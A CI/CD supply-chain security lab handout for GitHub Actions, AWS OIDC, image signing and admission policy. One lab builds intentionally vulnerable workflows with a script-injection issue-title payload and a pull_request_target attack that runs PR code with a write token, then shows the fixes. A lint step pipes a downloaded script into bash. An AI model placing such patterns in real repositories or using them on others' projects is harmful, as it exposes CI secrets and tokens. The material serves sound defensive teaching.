steps:
- uses: actions/setup-go@<sha>
with: {go-version: '${{ inputs.go-version }}'}
- shell: bash
run: go install golang.org/x/vuln/cmd/govulncheck@latest
# caller in a second repo (gh repo create cicd-lab-2 --public)
# .github/workflows/ci.yml
on: [pull_request]
permissions: {contents: read}
jobs:
ci:
uses: <you>/cicd-lab/.github/workflows/go-ci.yml@<sha-or-tag>
with: {go-version: '1.27'}
report:
needs: ci
runs-on: ubuntu-latest
steps: [{run: 'echo "coverage ${{ needs.ci.outputs.coverage }}"'}]In a reusable workflow, checkout gets the caller's repo: reference the composite as owner/repo/path@sha.
Reusable workflows are code: inputs are an API, versions are releases.
cicd-lab-2 PR runs the job named ci / test from cicd-lab.report job prints a coverage number from the reusable workflow's output.git tag go-ci-v1 && git push --tags, then pin the caller to that tag's full SHA.cicd-lab, not the caller.go_version (underscore) → the run fails before any job with "Invalid input, go_version is not defined". Inputs are validated against workflow_call.secrets: inherit:** add it to the caller → every secret of cicd-lab-2 is now readable by code in cicd-lab. Replace with the one named secret it needs../.github/actions/setup-go-tools → the call from cicd-lab-2 fails: the path does not exist in the caller's checkout.gh repo delete <you>/cicd-lab-2 --yes
# needs: gh auth refresh -s delete_repo
# keep go-ci.yml and the composite
# action in cicd-lab (Capstone)Goal: a GitHub job assumes an AWS role without any stored key. Step 1: see the exact claims GitHub sends for this repo and environment.
# 1) one-time per account: the IAM OIDC provider
aws iam create-open-id-connect-provider \
--url https://token.actions.githubusercontent.com \
--client-id-list sts.amazonaws.com
# 2) environments
gh api -X PUT repos/<you>/cicd-lab/environments/dev
gh api -X PUT repos/<you>/cicd-lab/environments/prod
# 3) run the debug workflow (right) on main
gh workflow run whoami.yml && gh run watch
gh run view --log | grep -A6 '"sub"'
# expected shape for a new repo (immutable form):
# repo:<you>@<owner_id>/cicd-lab@<repo_id>:environment:prod
# older repos that did not opt in:
# repo:<you>/cicd-lab:environment:prod# .github/workflows/whoami.yml
# prints the token's claims, never the token itself
name: whoami
on: workflow_dispatch
permissions: {contents: read, id-token: write}
jobs:
claims:
runs-on: ubuntu-latest
environment: prod
steps:
- name: decode claims
run: |
T=$(curl -sS \
-H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" \
| jq -r .value)
python3 - "$T" <<'PY'
import sys, json, base64
p = sys.argv[1].split('.')[1]
p += '=' * (-len(p) % 4)
c = json.loads(base64.urlsafe_b64decode(p))
keys = ('sub', 'aud', 'repository', 'environment',
'job_workflow_ref')
print(json.dumps({k: c.get(k) for k in keys}, indent=1))
PYStep 2: trust policy pinned to aud and the full sub, then a workflow that uses the role.
# trust.json — paste the sub printed by whoami.yml
cat > trust.json <<'EOF'
{"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated":
"arn:aws:iam::<acct>:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "<paste sub>"}}}]}
EOF
aws iam create-role --role-name gha-cicd-lab \
--assume-role-policy-document file://trust.json
POL=arn:aws:iam::aws:policy
aws iam attach-role-policy --role-name gha-cicd-lab \
--policy-arn $POL/AmazonEC2ContainerRegistryPowerUser# .github/workflows/aws.yml
name: aws
on: workflow_dispatch
permissions: {contents: read, id-token: write}
jobs:
who:
runs-on: ubuntu-latest
environment: prod
steps:
- uses: aws-actions/configure-aws-credentials@<sha>
with:
role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
aws-region: ap-northeast-1
- run: aws sts get-caller-identity
# run it
gh workflow run aws.yml && gh run watchThe managed ECR policy keeps Lab 5 short. In real use, scope pushes to repository/cicd-lab/*; only ecr:GetAuthorizationToken needs Resource: *.
Every break produces the same AWS error; the debug workflow tells you which claim is wrong.
aws run prints assumed-role/gha-cicd-lab/… from sts get-caller-identity.gh secret list and gh secret list --env prod show no AWS keys.AssumeRoleWithWebIdentity event from the GitHub provider.prod (Settings → Environments): the job now waits for approval.environment: prod from the job → sub becomes …:ref:refs/heads/main → "Not authorized to perform sts:AssumeRoleWithWebIdentity". Run whoami without the environment to see it.id-token: write → the action cannot request a token at all.sub changes (renames after 15 Jul 2026 also switch to the immutable form), so the trust policy no longer matches. Fix: update the policy to the new sub; the IDs stop a new repo with the old name from matching.# keep role + provider for Lab 5,
# then remove them:
POL=arn:aws:iam::aws:policy
aws iam detach-role-policy \
--role-name gha-cicd-lab \
--policy-arn \
$POL/AmazonEC2ContainerRegistryPowerUser
aws iam delete-role \
--role-name gha-cicd-lab
Q="OpenIDConnectProviderList[?contains(\
Arn,'token.actions')].Arn"
P=$(aws iam \
list-open-id-connect-providers \
--query "$Q" --output text)
echo "$P" # check before deleting
aws iam \
delete-open-id-connect-provider \
--open-id-connect-provider-arn "$P"Goal: an immutable app repo, a separate mutable cache repo, and enhanced scanning for cicd-lab/*.
# app repo: tags can never be overwritten
aws ecr create-repository \
--repository-name cicd-lab/hello \
--image-tag-mutability IMMUTABLE
# cache repo: BuildKit rewrites :main every build
aws ecr create-repository \
--repository-name cicd-lab/hello-cache
aws ecr put-lifecycle-policy \
--repository-name cicd-lab/hello-cache \
--lifecycle-policy-text '{"rules":[{"rulePriority":1,
"selection":{"tagStatus":"any",
"countType":"imageCountMoreThan","countNumber":5},
"action":{"type":"expire"}}]}'# Inspector enhanced scanning, on push, for this repo only
aws inspector2 enable --resource-types ECR
aws ecr put-registry-scanning-configuration \
--scan-type ENHANCED \
--rules '[{"scanFrequency":"SCAN_ON_PUSH",
"repositoryFilters":[{"filter":"cicd-lab/hello",
"filterType":"WILDCARD"}]}]'
aws ecr get-registry-scanning-configuration
# findings for the repo (after Lab 5 step 2 pushes)
F='{"ecrImageRepositoryName":[{"comparison":"EQUALS",
"value":"cicd-lab/hello"}]}'
aws inspector2 list-findings --filter-criteria "$F" \
--query 'findings[].[severity,title]' --output tableEnhanced scanning is billed by Inspector per image scanned and re-scanned; basic scanning is ECR's free option. You turn both back off in the cleanup.
Goal: one workflow run produces an amd64 + arm64 manifest list under an immutable tag, reusing cached layers.
# .github/workflows/image.yml
name: image
on:
push: {branches: [main]}
workflow_dispatch: {}
permissions: {contents: read, id-token: write}
jobs:
build:
runs-on: ubuntu-latest
environment: prod
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: aws-actions/configure-aws-credentials@<sha>
with:
role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
aws-region: ap-northeast-1
- id: ecr
uses: aws-actions/amazon-ecr-login@<sha>
- uses: docker/setup-buildx-action@<sha> - run: |
REG=${{ steps.ecr.outputs.registry }}
echo "REG=$REG" >> "$GITHUB_ENV"
echo "CACHE=$REG/cicd-lab/hello-cache:main" >> "$GITHUB_ENV"
- uses: docker/build-push-action@<sha>
with:
push: true
platforms: linux/amd64,linux/arm64
build-args: VERSION=${{ github.sha }}
tags: ${{ env.REG }}/cicd-lab/hello:${{ github.sha }}
cache-from: type=registry,ref=${{ env.CACHE }}
cache-to: "type=registry,ref=${{ env.CACHE }},\
mode=max,image-manifest=true,oci-mediatypes=true"
# the Dockerfile cross-compiles (Lab 0), so no QEMU step is needed
gh workflow run image.yml && gh run watchimage-manifest=true,oci-mediatypes=true lets ECR store BuildKit cache. The \ at the end of a double-quoted YAML line joins the next line without a space.
The tag points to a manifest list; Inspector scans each platform image, not the list.
aws ecr describe-images --repository-name cicd-lab/hello lists the tag plus untagged per-platform images.docker buildx imagetools inspect <reg>/cicd-lab/hello:<sha> shows linux/amd64 and linux/arm64.aws inspector2 list-findings --filter-criteria '{"ecrImageRepositoryName":[{"comparison":"EQUALS","value":"cicd-lab/hello"}]}' --query 'findings[].[severity,title]' (distroless + Go: usually few or none).CACHED steps in the build log.cache-to at cicd-lab/hello:buildcache → the second build fails writing the cache tag.image.yml from a branch without environment: prod → AssumeRole denied (Lab 4).aws ecr delete-repository --force \
--repository-name cicd-lab/hello
aws ecr delete-repository --force \
--repository-name cicd-lab/hello-cache
aws ecr put-registry-scanning-configuration \
--scan-type BASIC
aws inspector2 disable --resource-types ECR
# then remove the IAM role + provider
# (cleanup block of Lab 4)Goal: every PR is blocked by real findings, not by style opinions, and each gate tells you exactly what to fix.
# .github/workflows/codeql.yml
name: codeql
on:
pull_request: {}
push: {branches: [main]}
permissions: {contents: read, security-events: write}
jobs:
analyze:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: github/codeql-action/init@<sha>
with: {languages: go}
- uses: github/codeql-action/autobuild@<sha>
- uses: github/codeql-action/analyze@<sha># .github/workflows/deps.yml
name: deps
on: pull_request
permissions: {contents: read}
jobs:
review:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: actions/dependency-review-action@<sha>
with: {fail-on-severity: high}
# results
gh pr checks <pr>
# code scanning alerts (after the first run on main)
gh api repos/<you>/cicd-lab/code-scanning/alerts \
--jq '.[] | [.rule.id, .state] | @tsv'Goal: IaC findings and leaked secrets are stopped before merge, and nobody can skip the gates quietly.
# infra/main.tf — deliberately weak, for Checkov
mkdir -p infra && cat > infra/main.tf <<'EOF'
resource "aws_s3_bucket" "logs" {
bucket = "cicd-lab-logs-example"
}
EOF
# .github/workflows/iac.yml
name: iac
on: pull_request
permissions: {contents: read}
jobs:
checkov:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- run: pipx run checkov -d infra --compact --quiet# secret scanning + push protection (public repo)
gh api -X PATCH repos/<you>/cicd-lab \
-f 'security_and_analysis[secret_scanning][status]=enabled' \
-f 'security_and_analysis[secret_scanning_push_protection][status]=enabled'
# ruleset for main (UI: Settings → Rules → Rulesets)
# target: default branch
# require a pull request before merging
# require status checks:
# lint, test, analyze, review, checkov
# block force pushes
# bypass list: empty (or a break-glass team)
# merge queue: org-owned repos only; add to every
# required workflow:
# on:
# merge_group:Merge queue (merge_group event) needs an organization-owned repo. If you created a free org, transfer cicd-lab there to try it.
A gate nobody understands gets bypassed; make every failure actionable.
infra/ shows Checkov failures with check IDs and the resource name.main run.main ruleset blocks merging while checkov is red.go get golang.org/x/text@v0.3.6 and use it → dependency review fails on the advisory for that version; go get golang.org/x/text@latest fixes it.git rm -r infra && git commit -m \
"remove checkov sample" && git push
# keep codeql.yml and deps.yml
# keep the ruleset (Labs 9, 13)Goal: feel both strategies on a real cluster with the same two image versions.
kubectl config use-context kind-cicd
for c in blue green; do
docker build --build-arg VERSION=$c -t hello:$c .
kind load docker-image hello:$c --name cicd
done
for c in blue green; do
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata: {name: hello-$c, labels: {app: hello}}
spec:
replicas: 2
selector: {matchLabels: {app: hello, color: $c}}
template:
metadata: {labels: {app: hello, color: $c}}
spec:
containers:
- name: hello
image: hello:$c
imagePullPolicy: Never
readinessProbe:
httpGet: {path: /healthz, port: 8080}
EOF
done# one Service, selector decides the colour
kubectl create service clusterip hello --tcp=80:8080
kubectl patch svc hello -p \
'{"spec":{"selector":{"app":"hello","color":"blue"}}}'
# terminal 1: watch responses
kubectl run curl --rm -it --image=curlimages/curl \
--restart=Never -- \
sh -c 'while true; do curl -s hello; sleep 0.5; done'
# terminal 2: blue/green = switch all traffic at once
kubectl patch svc hello -p \
'{"spec":{"selector":{"app":"hello","color":"green"}}}'
# rolling = replace pods of one Deployment gradually
kubectl patch svc hello -p \
'{"spec":{"selector":{"app":"hello","color":"blue"}}}'
kubectl set image deploy/hello-blue hello=hello:green
kubectl rollout status deploy/hello-blue
kubectl rollout undo deploy/hello-blueGoal: the last CI step changes Git, not a cluster. Argo CD (GitOps deck) does the rest.
# image.yml (Lab 5): new job after build
promote:
needs: build
runs-on: ubuntu-latest
environment: prod # GITOPS_PR_TOKEN is an env secret
steps:
- uses: actions/checkout@<sha>
with:
repository: <you>/gitops-lab
token: ${{ secrets.GITOPS_PR_TOKEN }}
- name: open promotion PR
env:
GH_TOKEN: ${{ secrets.GITOPS_PR_TOKEN }}
TAG: ${{ github.sha }}
run: |
git switch -c "promote-dev-$TAG"
yq -i '.image.tag = strenv(TAG)' \
envs/dev/web/values.yaml
git -c user.name=ci -c user.email=ci@example.com \
commit -am "dev: hello $TAG"
git push -u origin HEAD
gh pr create --fill --base main# the token: fine-grained PAT, one repo, short expiry
# Settings → Developer settings → Fine-grained tokens
# Repository access: only gitops-lab
# Permissions: Contents RW, Pull requests RW
gh secret set GITOPS_PR_TOKEN --env prod # paste it
# watch the hand-off
gh run watch
gh pr list --repo <you>/gitops-lab
gh pr diff <number> --repo <you>/gitops-lab
# - tag: <old sha>
# + tag: <new sha>
# production version: a GitHub App installation token
# (actions/create-github-app-token) instead of a PATUse the values path your gitops-lab really has. Better still: promote the image digest, not the tag (Chapter 12).
Blue/green swaps all traffic at once; rolling mixes versions during the rollout.
set image, the loop shows both versions for a few seconds (rolling).image.yml runs, gitops-lab has an open PR changing only image.tag.kubectl against a cluster.blue — seconds, no rebuild. What does that cost in capacity?GITOPS_PR_TOKEN read-only Contents → git push returns 403. Least privilege that still works is the goal.kubectl delete deploy hello-blue hello-green
kubectl delete svc hello
# close the test PR in gitops-lab
gh pr close --repo <you>/gitops-lab \
--delete-branch <number>
# keep the kind cluster for Lab 12Goal: watch both classic GitHub Actions attacks run, then fix them. Use a new private repo with no secrets and delete it afterwards.
gh repo create cicd-attack-lab --private --clone
cd cicd-attack-lab && mkdir -p .github/workflows
# A) script injection — VULNERABLE on purpose
cat > .github/workflows/triage.yml <<'EOF'
name: triage
on: {issues: {types: [opened]}}
permissions: {issues: write}
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"
EOF
git add . && git commit -m triage && git push
# the "attacker" opens an issue whose title is code
T='x"; echo "INJECTED as $(whoami)"; echo "'
gh issue create --body test --title "$T"
sleep 20 && gh run view --log | grep INJECTED# B) pwn request — VULNERABLE on purpose
cat > .github/workflows/pr-build.yml <<'EOF'
name: pr-build
on: pull_request_target
permissions: {contents: write, issues: write}
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: ./build.sh
env: {GH_TOKEN: '${{ github.token }}'}
EOF
printf '#!/bin/sh\necho building\n' > build.sh && chmod +x build.sh
git add . && git commit -m "pr build" && git push
# the "attacker" PR edits build.sh (from a fork in real life)
git switch -c evil
P='gh api -X POST "repos/$GITHUB_REPOSITORY/issues" -f title=pwned'
printf '#!/bin/sh\n%s\n' "$P" > build.sh
git commit -am "harmless refactor" && git push -u origin evil
gh pr create --fill
sleep 30 && gh issue list # "pwned", by github-actionsNever run these patterns in a repo with secrets, deploy keys or OIDC roles.
Both bugs are one line; both are found automatically by zizmor.
INJECTED as runner: the issue title ran as shell.zizmor .github/workflows reports template injection in triage.yml and dangerous triggers / checkout in pr-build.yml.env: {TITLE: '${{ github.event.issue.title }}'} and echo "New issue: $TITLE" → the same issue title is printed, not executed.on: pull_request with permissions: {contents: read} → PR code runs with a read-only token and, from forks, no secrets. If you truly need pull_request_target, never check out or run PR code in it.zizmor is clean.cd .. && rm -rf cicd-attack-lab
gh auth refresh -s delete_repo
gh repo delete <you>/cicd-attack-lab \
--yesGoal: apply the hardening checklist to the real repo.
cd cicd-lab
# 1) pin every action to a full SHA ("# vX.Y.Z" comments)
pinact run
git diff --stat .github
# 2) keep pins fresh, but never adopt a day-old release
cat > .github/dependabot.yml <<'EOF'
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule: {interval: weekly}
cooldown: {default-days: 7}
groups: {actions: {patterns: ['*']}}
- package-ecosystem: gomod
directory: /
schedule: {interval: weekly}
cooldown: {default-days: 3}
- package-ecosystem: docker # base image digests
directory: /
schedule: {interval: weekly}
EOF# 3) default workflow token: read-only
gh api -X PUT \
repos/<you>/cicd-lab/actions/permissions/workflow \
-f default_workflow_permissions=read \
-F can_approve_pull_request_reviews=false
# 4) workflows need an owner's review
printf '/.github/ @<you>\n' > .github/CODEOWNERS
# 5) pin base images by digest in the Dockerfile
docker buildx imagetools inspect golang:1.27 \
--format '{{.Manifest.Digest}}'
# FROM --platform=$BUILDPLATFORM golang:1.27@sha256:<digest>
# 6) Settings → Actions → General:
# allow selected actions only,
# require actions pinned to a full-length commit SHA
git add .github Dockerfile
git commit -m "harden workflows" && git pushGoal: regressions in workflow files fail a required check before anyone reviews them.
# .github/workflows/lint-workflows.yml
name: lint-workflows
on:
pull_request: {paths: ['.github/**']}
push: {branches: [main], paths: ['.github/**']}
permissions: {contents: read}
jobs:
actionlint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- run: |
U=https://raw.githubusercontent.com/rhysd/actionlint/main
bash <(curl -sSf "$U/scripts/download-actionlint.bash")
./actionlint -color
zizmor:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- run: pipx run zizmor --min-severity medium .github/workflows# .github/workflows/scorecard.yml
name: scorecard
on:
push: {branches: [main]}
schedule: [{cron: '0 3 * * 1'}]
permissions: {contents: read}
jobs:
analysis:
runs-on: ubuntu-latest
permissions: {security-events: write, id-token: write}
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: ossf/scorecard-action@<sha>
with:
results_file: results.sarif
results_format: sarif
publish_results: true
- uses: github/codeql-action/upload-sarif@<sha>
with: {sarif_file: results.sarif}
# ruleset on main: add actionlint + zizmor as required checksThe actionlint download script comes from main, which is itself unpinned. Once it works, switch to a pinned release binary or the container image by digest.
A control you have never seen fail is a control you do not know works.
grep -rn "uses:" .github | grep -v "@[0-9a-f]\{40\}" prints nothing (except local ./ actions).permissions: gets a read-only token: gh api writes fail with 403.uses: actions/setup-node@v4 in a PR → zizmor flags unpinned uses; with the org/repo SHA policy on, the run fails before starting.run: line → zizmor fails the PR (template injection); the ruleset blocks merge..github/ change.# keep everything: this is the
# hardened baseline for Labs 10-13
gh pr list --state open
# merge the Dependabot PRs you trustGoal: generate SPDX and CycloneDX SBOMs, fail the build on critical CVEs, and record a justified "not affected" with OpenVEX.
# locally first
docker build -t hello:sbom .
syft hello:sbom -o spdx-json=sbom.spdx.json -o cyclonedx-json=sbom.cdx.json
jq '.packages | length' sbom.spdx.json
syft dir:. -o table # source view: go.mod modules
grype sbom:./sbom.spdx.json # image view
trivy sbom sbom.cdx.json # second opinion
# introduce an old module so there is something to find
go get golang.org/x/text@v0.3.6
syft dir:. -o spdx-json=src.spdx.json
grype sbom:./src.spdx.json --fail-on high; echo "exit=$?"
# vex.json (OpenVEX): we never call the vulnerable code path
cat > vex.json <<'EOF'
{"@context": "https://openvex.dev/ns/v0.2.0",
"@id": "https://github.com/<you>/cicd-lab/vex/1",
"author": "<you>", "timestamp": "2026-11-02T00:00:00Z", "version": 1,
"statements": [{
"vulnerability": {"name": "<CVE id grype reported>"},
"products": [{"@id": "<purl grype reported for the product>"}],
"subcomponents": [{"@id": "pkg:golang/golang.org/x/text@v0.3.6"}],
"status": "not_affected",
"justification": "vulnerable_code_not_in_execute_path"}]}
EOF
grype sbom:./src.spdx.json --vex vex.json --fail-on high# in CI: add to image.yml after the build step
- uses: anchore/sbom-action@<sha>
with:
image: ${{ env.REG }}/cicd-lab/hello:${{ github.sha }}
format: spdx-json
output-file: sbom.spdx.json
- uses: anchore/scan-action@<sha>
with:
sbom: sbom.spdx.json
fail-build: true
severity-cutoff: critical
- uses: actions/upload-artifact@<sha>
with: {name: sbom, path: sbom.spdx.json}
# triage policy (write it down in SECURITY.md)
# critical + in KEV or high EPSS -> fix or block today
# critical / high -> fix within 7 / 30 days
# not affected -> VEX with justification,
# reviewed at every releaseVEX matching is by product and package identifiers: copy the CVE ID and purls exactly as grype prints them, or the statement silently does not apply.
An SBOM is only useful if you can query it later and trust where it came from (Lab 11).
grype --fail-on high exits non-zero with x/text v0.3.6, zero after the VEX (or after upgrading).sbom artifact is attached to the run; the scan step summary lists findings.go get golang.org/x/text@latest && go mod tidy → finding gone, VEX entry deleted.go get golang.org/x/text@latest
go mod tidy
rm -f sbom.*.json src.spdx.json vex.json
docker image rm hello:sbomGoal: every release image on GHCR carries a Sigstore signature and SLSA provenance tied to one workflow file on one branch.
# .github/workflows/release.yml
name: release
on:
push: {branches: [main]}
workflow_dispatch:
inputs: {sign: {type: boolean, default: true}}
permissions: {contents: read}
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write # push to GHCR
id-token: write # Sigstore + attestations
attestations: write
env: {IMG: 'ghcr.io/${{ github.repository }}/hello'}
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: docker/login-action@<sha>
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/setup-buildx-action@<sha> - id: build
uses: docker/build-push-action@<sha>
with:
push: true
tags: ${{ env.IMG }}:${{ github.sha }}
- uses: sigstore/cosign-installer@<sha>
- name: sign
if: github.event_name != 'workflow_dispatch' || inputs.sign
env: {DIGEST: '${{ steps.build.outputs.digest }}'}
run: cosign sign --yes "$IMG@$DIGEST"
- name: provenance
if: github.event_name != 'workflow_dispatch' || inputs.sign
uses: actions/attest-build-provenance@<sha>
with:
subject-name: ${{ env.IMG }}
subject-digest: ${{ steps.build.outputs.digest }}
push-to-registry: true
- env: {DIGEST: '${{ steps.build.outputs.digest }}'}
run: echo "$IMG@$DIGEST" >> "$GITHUB_STEP_SUMMARY"inputs.sign is empty on push events, so the if: also checks the event name; otherwise pushes to main would skip signing.
Verification names the identity you trust; "it has a signature" is not enough.
# after the first run: make the package public
# github.com/<you>?tab=packages → cicd-lab/hello
# → Package settings → Change visibility
IMG=ghcr.io/<you>/cicd-lab/hello
D=sha256:... # from the run summary
W=https://github.com/<you>/cicd-lab/.github/workflows
cosign verify "$IMG@$D" \
--certificate-identity "$W/release.yml@refs/heads/main" \
--certificate-oidc-issuer \
https://token.actions.githubusercontent.com
gh attestation verify "oci://$IMG@$D" --repo <you>/cicd-lab
# what is attached to the digest
cosign tree "$IMG@$D"# optional: ECR managed signing with AWS Signer
aws signer put-signing-profile \
--profile-name cicdlab \
--platform-id Notation-OCI-SHA384-ECDSA
# ECR console → Private registry → Settings → signing:
# rule = signing profile cicdlab + filter cicd-lab/*
# (the pusher's role needs signer:SignPayload)
# push an image (Lab 5) → ECR signs it automatically
# verify with Notation + the AWS Signer plugin,
# following the ECR managed signing guide for the
# trust policy and trust store setup:
REG=<acct>.dkr.ecr.ap-northeast-1.amazonaws.com
notation verify "$REG/cicd-lab/hello@sha256:..."Use cosign/Sigstore when your verifiers are Kubernetes policy engines and public tooling; use AWS Signer when you want AWS-managed keys and IAM-controlled signing profiles.
It proves who built it and from which workflow and commit. It does not prove the code is safe.
cosign verify prints the certificate subject (workflow URL@ref) and the Rekor log entry.gh attestation verify shows the predicate type https://slsa.dev/provenance/v1 and the source commit.cosign tree "$IMG@$D" (or oras discover) lists the signature and attestation attached to the digest.buildDefinition names release.yml and the commit SHA you pushed.…/deploy.yml@refs/heads/main → "none of the expected identities matched". Identity, not just "signed", is what you trust.sign: false on a new commit, retag it as the old SHA tag in GHCR → verifying by tag now checks the unsigned image. Always verify and deploy by digest.gh attestation verify --signer-workflow <you>/cicd-lab/.github/workflows/build.yml.# keep release.yml and the signed
# image: Lab 12 deploys it
# delete the package only at the end:
gh auth refresh -s delete:packages
gh api -X DELETE \
/user/packages/container/cicd-lab%2FhelloGoal: Kyverno on kind denies any pod whose image under ghcr.io/<you>/cicd-lab/ lacks a signature from your release workflow on main.
kubectl config use-context kind-cicd
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno \
-n kyverno --create-namespace --wait
kubectl get crd imagevalidatingpolicies.policies.kyverno.io
# the identity we trust, built from two short parts
W=https://github.com/<you>/cicd-lab/.github/workflows
export SUBJ="$W/release.yml@refs/heads/main"
export ME=<you>
# render the policy (right) with envsubst (brew gettext)
envsubst < ivpol.yaml | kubectl apply -f -
kubectl get imagevalidatingpolicy signed-by-release# ivpol.yaml
apiVersion: policies.kyverno.io/v1
kind: ImageValidatingPolicy
metadata: {name: signed-by-release}
spec:
validationActions: [Deny]
matchConstraints:
resourceRules:
- {apiGroups: [''], apiVersions: [v1],
operations: [CREATE, UPDATE], resources: [pods]}
matchImageReferences:
- glob: 'ghcr.io/${ME}/cicd-lab/*'
attestors:
- name: gha
cosign:
keyless:
identities:
- issuer: https://token.actions.githubusercontent.com
subject: ${SUBJ}
ctlog: {url: 'https://rekor.sigstore.dev'}
validations:
- expression: >-
images.containers.map(image,
verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
message: image must be signed by release.yml on mainAlways deploy by digest: the policy verifies what the digest points to, and a tag can move.
# signed image from Lab 11 (digest from the run summary)
kubectl run ok \
--image "ghcr.io/<you>/cicd-lab/hello@sha256:<signed>"
kubectl get pod ok # Running
# an unsigned image from the same repo
gh workflow run release.yml -f sign=false
gh run watch # note the new digest
kubectl run bad \
--image "ghcr.io/<you>/cicd-lab/hello@sha256:<unsigned>"
# Error from server: admission webhook ... denied the request:
# ... image must be signed by release.yml on main# images outside matchImageReferences are not checked
kubectl run other --image nginx:1.27
kubectl get pod other # Running
# what Kyverno did
kubectl -n kyverno logs deploy/kyverno-admission-controller \
--since=10m | grep -i signed-by-release
# reports (useful in Audit mode)
kubectl get policyreports -ARoll admission policies out in Audit, read the reports, then switch to Deny.
ok runs; bad is denied with your message.cosign verify passes from your laptop; if it does, your Kyverno may not read cosign v3's bundle format yet: upgrade Kyverno and check both release notes.kubectl get imagevalidatingpolicy signed-by-release shows the policy Ready.validationActions: [Audit], re-run bad → it is admitted; find the failure in kubectl get policyreports -A. Switch back to [Deny].deploy.yml → even ok is now denied. A typo in a policy is an outage: test policies with the Kyverno CLI in CI.initContainers image → admitted, because the expression only checks images.containers. Extend it.kubectl delete pod ok other --ignore-not-found
kubectl delete imagevalidatingpolicy \
signed-by-release
helm uninstall kyverno -n kyverno
# at the very end:
kind delete cluster --name cicdGoal: compute every metric from GitHub data you already have. Here a successful release.yml run counts as a deployment.
gh run list --workflow release.yml --limit 200 \
--json databaseId,conclusion,createdAt,updatedAt,headSha \
> runs.json
# 1) deployment frequency: successful releases per ISO week
jq -r '.[] | select(.conclusion=="success")
| .createdAt[:10]' runs.json \
| xargs -I{} date -j -f %Y-%m-%d {} +%G-W%V \
| sort | uniq -c
# 2) change lead time: commit time -> release done (hours)
ts() { date -j -u -f %Y-%m-%dT%H:%M:%SZ "$1" +%s; }
jq -r '.[] | select(.conclusion=="success")
| "\(.headSha) \(.updatedAt)"' runs.json |
while read sha done; do
c=$(gh api "repos/<you>/cicd-lab/commits/$sha" \
--jq .commit.committer.date)
echo $(( ($(ts "$done") - $(ts "$c")) / 3600 ))
done | sort -n \
| awk '{a[NR]=$1} END {print "median h:", a[int((NR+1)/2)]}'# labels on merged PRs carry the instability signal:
# incident = this deployment caused a production failure
# hotfix = an unplanned deployment to fix production
gh pr list --state merged --limit 200 \
--json number,labels,mergedAt > prs.json
n() { jq "[.[] | select(any(.labels[]; .name==\"$1\"))]
| length" prs.json; }
D=$(jq '[.[] | select(.conclusion=="success")] | length' runs.json)
# 3) change fail rate = incident deployments / deployments
echo "CFR: $(n incident) / $D"
# 4) deployment rework rate = hotfix deployments / deployments
echo "rework: $(n hotfix) / $D"
# 5) failed deployment recovery time: incident issue open -> closed
gh issue list --label incident --state closed --limit 100 \
--json createdAt,closedAt \
| jq '[.[] | ((.closedAt|fromdate) - (.createdAt|fromdate))
/ 3600] | sort | .[length/2|floor]'macOS date -j -f; on Linux use date -d. Throughput: deployment frequency, change lead time, failed deployment recovery time. Instability: change fail rate, deployment rework rate.
Goal: rehearse the first hour. Scenario: actions/foo tags were repointed to malicious code between 30 Oct and 1 Nov.
# 1) are we using it, and pinned how?
grep -rn "uses: .*actions/foo" .github/
gh search code "actions/foo" --owner <you> \
--filename '*.yml'
# 2) which runs executed in the window?
gh run list --created '2026-10-30..2026-11-01' \
--limit 200 \
--json databaseId,workflowName,headSha,createdAt \
> window.json
jq length window.json
# 3) did those runs resolve the bad commit?
# each run log records the SHA it downloaded:
gh run view <id> --log | grep -i "download action"
# 4) what could they reach?
gh secret list; gh secret list --env prod
aws iam get-role --role-name gha-cicd-lab \
--query Role.AssumeRolePolicyDocument# 5) contain
gh workflow disable release.yml
# pin the action to a known-good SHA (or remove it)
# rotate every secret the affected runs could read
# revoke PATs / GitHub App keys used by those workflows
# 6) prove artifacts are clean
# list images built in the window, by digest:
# gh run view <id> → summary → digest
gh attestation verify "oci://$IMG@$D" --repo <you>/cicd-lab
# rebuild + re-sign anything built in the window,
# redeploy by the new digests (promotion PRs)
# 7) write it down
# docs/incident-runbook.md: timeline, exposure,
# rotations done, rebuilt digests, follow-ups
gh workflow enable release.ymlMetrics are for the team to improve the system, never to rank people.
foo was referenced by tag @v1 in one workflow and by SHA in another → only the tag user ran the malicious code. Prove it from the run logs ("Download action repository … SHA:").environment:prod only — could a compromised PR job have assumed it?rm -f runs.json prs.json
gh workflow enable release.yml
# write the tabletop outcome to
# docs/incident-runbook.md and commit itGitHub-hosted standard runners are free for public repos. AWS costs are small but real; clean up after Labs 5 and 11.
